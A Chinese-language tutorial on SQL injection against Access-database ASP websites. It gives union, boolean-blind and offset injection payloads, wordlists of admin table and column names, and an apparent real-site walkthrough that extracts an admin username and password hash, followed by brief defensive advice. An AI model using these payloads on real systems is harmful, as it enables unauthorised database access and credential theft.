SQL注入是非常常见的一个漏洞,如果程序员在编写网站源码时未对SQL执行语句作防护措施,那么用户输入就可以执行SQL语句,导致用户数据被删改、拖库、挂马等。而它的种类也根据参数类型、提交方式、注入方式以及数据库类型的不同来进行区分。Access数据库是一种小型数据库用于储存数据,其中各个对象之间可以建立关联,方便用户快速查询与调用数据。它相对其他数据库来说比较简单,只有一个数据库,里面存放着表、列以及数据,通过简单的语句就可以完成注入。一般通过联合注入、逐字猜解、偏移注入等方式进行攻击,在面对搭载这类数据库的网站时,也可以针对.mdb和.asp后缀名的文件进行爆破,说不定存在信息泄露可以直接拿到数据库。本文主要针对Access数据库的注入的原理以及攻击方式进行归纳。
0x01 整体思路
1、通过报错或常见组合判断数据库类型(MySQL+PHP、MSSQL+ASPX、Oracle+JSP...)
2、截取请求包更换请求方式(POST、GET...)或更改请求包参数(Cookie、Referer、User-Agent...)寻找注入点
3、通过单引号、百分号来判断注入参数类型(数字型、字符型、搜索型...)
4、选择攻击注入方式(联合注入、逐字猜解、偏移注入...)
5、判断是否能猜解到表名、列名,主要分为以下三种情况:
- 如果能猜解到表名和列名,那么可以使用联合注入或逐字猜解
- 如果只能猜解到表名,无法猜解到列名,那么可以使用偏移注入
- 如果无法猜解到表名或列名,那么可以查看网站源代码、提交的参数来构造表名
6、获取数据库中的敏感数据登录后台或直接写入webshell
0x02 攻击方式
一、联合注入
1、判断注入点,一般来说单引号、减号、and等就可以判断是否存在注入
?id=3' #返回页面与id=3不同,说明存在注入
?id=3-1 #返回一个与id=3不同的正常界面,说明已经代入数据库执行,存在注入
?id=3 and 1=2 #返回页面与and 1=1不同,说明已经完成了真假判断,存在注入
2、通过order by 判断字段数,将字段数从小到大以此类推,直至返回错误页面,而正确的字段数就是返回错误的字段数减一
?id=3 order by 1
...
?id=3 order by 10 #返回错误页面,字段数为9
3、通过联合查询
select * from article where id= -1 union select 1,[column_name],3 from [table_name]
如:-1 union select 1,username,password,4,5,6,7,8,9,10 from admin
那么在实际场景中,只需要先找到注入点,通过order by进行字段判断,再使用可控输入对目标数据库进行联合注入即可,本质上和MySQL的联合注入差不多,不过它没有information_schema库,需要猜解它的表名和列名,如果猜对了就会在网页上回显账号密码。可以将以下常用的表名和列名进行猜解。
常见的表名:
admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,manage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,UserGroups,user_list,login,用户,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo
常见的列名:
username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,pass-wd,yonghu,用户,用户名,密码,帐号,id,uid,userid,user_id,adminid,admin_id,login_name
二、逐字猜解
逐字猜解其实到最后用的就是布尔盲注,根据目标的返回页面差异来判断注入是否成功,比较依赖运气,需要依赖强大的字典,一般采用的SQL语句如下
select * from admin where id= *
如:834 and (select top 1 asc(mid(admin_name,2,1)) from admin)=104
1、判断表名
实际上就是对表名进行猜解,再根据表名做进一步操作
?id=843 and exists(select * from [table_name])
?id=843 and exists(select * from admin1) #返回错误界面
?id=843 and exists(select * from admin) #返回正常界面
说明表名为admin
2、猜解列名
?id=843 and exists(select [column_name] from admin)
?id=843 and exists(select admin_id from admin) #页面正常,列名正确
?id=843 and exists(select admin_name from admin) #页面正常,列名正确
?id=843 and exists(select admin_pass from admin) #页面报错,列名错误,未猜出密码列名
猜解出了目标id和用户名的列名分别是admin_id和admin_name,但未猜解出密码列名
3、通过布尔盲注获取数据
判断字段长度
?id=834 and (select top 1 len(admin_name) from admin) > [length]
?id=834 and (select top 1 len(admin_name) from admin) > 8 #页面报错,长度小于或等于8
?id=834 and (select top 1 len(admin_name) from admin) = 7 #页面正常,长度等于7
判断数据,这里可以使用burp或直接写脚本跑即可
?id=834 and (select top 1 asc(mid(admin_name,1,1)) from admin) < [length]
?id=834 and (select top 1 asc(mid(admin_name,1,1)) from admin)<113 #页面报错,admin_name列第一个数据ascii码大于等于113
?id=834 and (select top 1 asc(mid(admin_name,1,1)) from admin)=113 #页面正确,说明第一个数据ascii码为114,查询ascii表为r
?id=834 and (select top 1 asc(mid(admin_name,2,1)) from admin)=104 #页面正确,说明第二个数据ascii码为104,查询ascii表为h
最后拿到用户名为rhhotel
三、偏移注入
偏移注入的前提是需要猜出表名且知道一个或多个字段,这个前提可以使用之前的方法获得。它的优势和劣势一样突出,优势是无需用户名和密码的字段就可以直接爆出账号密码,劣势是也需要运气,不能保证绝对成功。主要原理是拿到order by出的字段数x以及回显正常的*
,然后再用order by的字段数x减去2倍的*
值即是所需字段数。例如字段数为22,回显正常的*
值为6,所需的字段数就是22-2x6=10,根据该值进行构造即可完成偏移注入。
1、判断字段数
?id=834 order by 16 #页面正常
?id=834 order by 17 #页面报错
2、寻找偏移字段
这里借助sqlmap,但是只能爆破出两个列名,分别为admin_name和admin_id
将union select后的字段数以*进行代替,直至回显正常
?id=834 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
?id=834 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin #页面正常
说明偏移字段为5,根据公式得到所需字段数为16-5*2=6
3、构造payload,拿到账号密码
?id=834 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_id=b.admin_id)
得到用户名和密码为rhhotel/4f906038563c7eb5,这里拿到的是加密值,需要使用MD5进行解密。之后我还尝试了其他偏移注入语句,因为偏移注入获得的内容是随机的,打乱了信息组合,出来了一堆乱七八糟的东西。
http://www.xxx.com/newsview.asp?id=834 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)
http://www.xxx.com/newsview.asp?id=834 union select 1,2,3,4,5,6,a.admin_name,b.admin_name,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)
http://www.xxx.com/newsview.asp?id=834 union select 1,2,3,4,5,6,a.admin_name,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)
http://www.xxx.com/newsview.asp?id=834 union select 1,2,3,4,5,6,b.admin_name,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)
除了这些还有很多,同时还可以把字段名进行修改,如将admin_name改为admin_id。
一级偏移:
union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.admin_name=b.admin_name)
二级偏移:
union select 1,a.id,b.id,c.id, * from ((admin as a inner join admin as bon a.admin_name =b.admin_name) inner join admin as c on a.admin_name =c.admin_name)
0x03 防护方法
1、更改数据库存储路径以及数据库名。默认情况下数据库会保存在网站的data目录下,而攻击者只需要对其下的数据库名进行爆破就可以直接下载数据库,修改数据库存储路径以及数据库名为一些难以猜解的名字,那么很多时候就能防止被人直接拿到数据库。
2、针对用户输入做基于黑白名单过滤,包括特殊字符和函数,如union、select、from、order、单引号、星号等。
3、安装WAF,能自动防范SQL注入同时针对网络攻击可以自定义过滤规则。
0x04 总结
现在存在Access数据库的网站越来越少了,一般都是一些小型站或是老站,相对来说参考价值较低。而随着新型数据库的兴起,慢慢地Access数据库也会卷入时代的浪潮里而消失。但怎样有效地防范SQL注入、提升网络安全意识却是个长久的议题。